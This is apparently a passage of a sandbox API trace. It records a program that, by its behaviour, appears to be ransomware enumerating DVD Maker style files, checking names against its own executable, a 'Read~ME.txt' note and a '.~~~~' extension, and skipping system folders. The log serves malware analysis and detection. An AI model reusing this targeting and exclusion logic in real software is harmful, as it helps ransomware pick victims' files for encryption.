	[0081.815] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x2, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.815] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.815] lstrcmpW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.815] StrStrW (lpFirst="SpecialNavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.815] lstrcmpW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.815] GetCurrentThreadId () returned 0x618
	[0081.815] RtlWakeConditionVariable () returned 0x365f48
	[0081.815] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x2, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1
	[0081.815] lstrcmpiW (lpString1="specialoccasion.png", lpString2="Windows") returned -1
	[0081.816] lstrcmpW (lpString1="specialoccasion.png", lpString2="oiikyy.exe") returned 1
	[0081.816] StrStrW (lpFirst="specialoccasion.png", lpSrch=".~~~~") returned 0x0
	[0081.816] lstrcmpW (lpString1="specialoccasion.png", lpString2="Read~ME.txt") returned 1
	[0081.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.816] GetCurrentThreadId () returned 0x618
	[0081.816] RtlWakeConditionVariable () returned 0x365f48
	[0081.816] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x2, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1
	[0081.816] lstrcmpiW (lpString1="whitemask1047.png", lpString2="Windows") returned -1
	[0081.816] lstrcmpW (lpString1="whitemask1047.png", lpString2="oiikyy.exe") returned 1
	[0081.816] StrStrW (lpFirst="whitemask1047.png", lpSrch=".~~~~") returned 0x0
	[0081.816] lstrcmpW (lpString1="whitemask1047.png", lpString2="Read~ME.txt") returned 1
	[0081.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.816] GetCurrentThreadId () returned 0x618
	[0081.816] RtlWakeConditionVariable () returned 0x365f48
	[0081.816] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x2, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1
	[0081.816] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="Windows") returned -1
	[0081.816] lstrcmpW (lpString1="whitevignette1047.png", lpString2="oiikyy.exe") returned 1
	[0081.816] StrStrW (lpFirst="whitevignette1047.png", lpSrch=".~~~~") returned 0x0
	[0081.816] lstrcmpW (lpString1="whitevignette1047.png", lpString2="Read~ME.txt") returned 1
	[0081.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.817] GetCurrentThreadId () returned 0x618
	[0081.817] RtlWakeConditionVariable () returned 0x365f48
	[0081.817] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x2, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0
	[0081.817] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a2e0
	[0081.818] GetCurrentThreadId () returned 0x618
	[0081.818] RtlWakeConditionVariable () returned 0x365f48
	[0081.818] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0081.818] lstrcmpiW (lpString1="Sports", lpString2="Windows") returned -1
	[0081.818] lstrcmpW (lpString1="Sports", lpString2=".") returned 1
	[0081.818] lstrcmpW (lpString1="Sports", lpString2="..") returned 1
	[0081.818] lstrcmpW (lpString1="Sports", lpString2="AppData") returned 1
	[0081.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports", lpSrch="AppData") returned 0x0
	[0081.818] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.818] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports", lpString2="C:\\Windows") returned -1
	[0081.818] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.818] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports", lpString2="C:\\System Volume Information") returned -1
	[0081.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.928] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.928] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.940] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.940] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.940] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.940] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.941] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.941] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.941] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.941] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.941] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.941] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.941] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x2, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1
	[0081.941] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="Windows") returned -1
	[0081.941] lstrcmpW (lpString1="CircleSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.941] StrStrW (lpFirst="CircleSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.941] lstrcmpW (lpString1="CircleSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0081.941] GetCurrentThreadId () returned 0x618
	[0081.941] RtlWakeConditionVariable () returned 0x365f48
	[0081.941] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x2, cFileName="GoldRing.png", cAlternateFileName="")) returned 1
	[0081.941] lstrcmpiW (lpString1="GoldRing.png", lpString2="Windows") returned -1
	[0081.941] lstrcmpW (lpString1="GoldRing.png", lpString2="oiikyy.exe") returned -1
	[0081.941] StrStrW (lpFirst="GoldRing.png", lpSrch=".~~~~") returned 0x0
	[0081.941] lstrcmpW (lpString1="GoldRing.png", lpString2="Read~ME.txt") returned -1
	[0081.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.942] GetCurrentThreadId () returned 0x618
	[0081.942] RtlWakeConditionVariable () returned 0x365f48
	[0081.942] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x2, cFileName="highlight.png", cAlternateFileName="")) returned 1
	[0081.942] lstrcmpiW (lpString1="highlight.png", lpString2="Windows") returned -1
	[0081.942] lstrcmpW (lpString1="highlight.png", lpString2="oiikyy.exe") returned -1
	[0081.942] StrStrW (lpFirst="highlight.png", lpSrch=".~~~~") returned 0x0
	[0081.942] lstrcmpW (lpString1="highlight.png", lpString2="Read~ME.txt") returned -1
	[0081.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.942] GetCurrentThreadId () returned 0x618
	[0081.942] RtlWakeConditionVariable () returned 0x365f48
	[0081.942] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0081.942] lstrcmpiW (lpString1="NavigationButtonSubpicture.png", lpString2="Windows") returned -1
	[0081.942] lstrcmpW (lpString1="NavigationButtonSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.942] StrStrW (lpFirst="NavigationButtonSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.942] lstrcmpW (lpString1="NavigationButtonSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.942] GetCurrentThreadId () returned 0x618
	[0081.942] RtlWakeConditionVariable () returned 0x365f48
	[0081.942] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.942] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="Windows") returned -1
	[0081.942] lstrcmpW (lpString1="NextMenuButtonIcon.png", lpString2="oiikyy.exe") returned -1
	[0081.942] StrStrW (lpFirst="NextMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.942] lstrcmpW (lpString1="NextMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0081.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0081.943] GetCurrentThreadId () returned 0x618
	[0081.943] RtlWakeConditionVariable () returned 0x365f48
	[0081.943] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x2, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.943] lstrcmpiW (lpString1="ParentMenuButtonIcon.png", lpString2="Windows") returned -1
	[0081.943] lstrcmpW (lpString1="ParentMenuButtonIcon.png", lpString2="oiikyy.exe") returned 1
	[0081.943] StrStrW (lpFirst="ParentMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.943] lstrcmpW (lpString1="ParentMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0081.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0081.943] GetCurrentThreadId () returned 0x618
	[0081.943] RtlWakeConditionVariable () returned 0x365f48
	[0081.943] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x2, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0081.943] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="Windows") returned -1
	[0081.943] lstrcmpW (lpString1="PreviousMenuButtonIcon.png", lpString2="oiikyy.exe") returned 1
	[0081.943] StrStrW (lpFirst="PreviousMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0081.943] lstrcmpW (lpString1="PreviousMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0081.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.944] GetCurrentThreadId () returned 0x618
	[0081.944] RtlWakeConditionVariable () returned 0x365f48
	[0081.944] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x2, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1
	[0081.944] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="Windows") returned -1
	[0081.944] lstrcmpW (lpString1="SceneButtonInset_Alpha1.png", lpString2="oiikyy.exe") returned 1
	[0081.944] StrStrW (lpFirst="SceneButtonInset_Alpha1.png", lpSrch=".~~~~") returned 0x0
	[0081.944] lstrcmpW (lpString1="SceneButtonInset_Alpha1.png", lpString2="Read~ME.txt") returned 1
	[0081.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.944] GetCurrentThreadId () returned 0x618
	[0081.944] RtlWakeConditionVariable () returned 0x365f48
	[0081.944] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x2, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1
	[0081.944] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="Windows") returned -1
	[0081.944] lstrcmpW (lpString1="SceneButtonInset_Alpha2.png", lpString2="oiikyy.exe") returned 1
	[0081.944] StrStrW (lpFirst="SceneButtonInset_Alpha2.png", lpSrch=".~~~~") returned 0x0
	[0081.944] lstrcmpW (lpString1="SceneButtonInset_Alpha2.png", lpString2="Read~ME.txt") returned 1
	[0081.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.944] GetCurrentThreadId () returned 0x618
	[0081.944] RtlWakeConditionVariable () returned 0x365f48
	[0081.944] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x2, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0081.944] lstrcmpiW (lpString1="SceneButtonSubpicture.png", lpString2="Windows") returned -1
	[0081.944] lstrcmpW (lpString1="SceneButtonSubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.944] StrStrW (lpFirst="SceneButtonSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.945] lstrcmpW (lpString1="SceneButtonSubpicture.png", lpString2="Read~ME.txt") returned 1
	[0081.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.945] GetCurrentThreadId () returned 0x618
	[0081.945] RtlWakeConditionVariable () returned 0x365f48
	[0081.945] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1
	[0081.945] lstrcmpiW (lpString1="SportsMainBackground.wmv", lpString2="Windows") returned -1
	[0081.945] lstrcmpW (lpString1="SportsMainBackground.wmv", lpString2="oiikyy.exe") returned 1
	[0081.945] StrStrW (lpFirst="SportsMainBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0081.945] lstrcmpW (lpString1="SportsMainBackground.wmv", lpString2="Read~ME.txt") returned 1
	[0081.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0081.945] GetCurrentThreadId () returned 0x618
	[0081.945] RtlWakeConditionVariable () returned 0x365f48
	[0081.945] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.945] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="Windows") returned -1
	[0081.945] lstrcmpW (lpString1="SportsMainBackground_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.945] StrStrW (lpFirst="SportsMainBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.945] lstrcmpW (lpString1="SportsMainBackground_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.945] GetCurrentThreadId () returned 0x618
	[0081.945] RtlWakeConditionVariable () returned 0x365f48
	[0081.945] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0081.945] lstrcmpiW (lpString1="SportsMainToNotesBackground.wmv", lpString2="Windows") returned -1
	[0081.945] lstrcmpW (lpString1="SportsMainToNotesBackground.wmv", lpString2="oiikyy.exe") returned 1
	[0081.946] StrStrW (lpFirst="SportsMainToNotesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0081.946] lstrcmpW (lpString1="SportsMainToNotesBackground.wmv", lpString2="Read~ME.txt") returned 1
	[0081.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.946] GetCurrentThreadId () returned 0x618
	[0081.946] RtlWakeConditionVariable () returned 0x365f48
	[0081.946] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.946] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0081.946] lstrcmpW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.946] StrStrW (lpFirst="SportsMainToNotesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.946] lstrcmpW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3e00
	[0081.946] GetCurrentThreadId () returned 0x618
	[0081.946] RtlWakeConditionVariable () returned 0x365f48
	[0081.946] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0081.946] lstrcmpiW (lpString1="SportsMainToScenesBackground.wmv", lpString2="Windows") returned -1
	[0081.946] lstrcmpW (lpString1="SportsMainToScenesBackground.wmv", lpString2="oiikyy.exe") returned 1
	[0081.946] StrStrW (lpFirst="SportsMainToScenesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0081.946] lstrcmpW (lpString1="SportsMainToScenesBackground.wmv", lpString2="Read~ME.txt") returned 1
	[0081.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.946] GetCurrentThreadId () returned 0x618
	[0081.946] RtlWakeConditionVariable () returned 0x365f48
	[0081.946] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x2, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
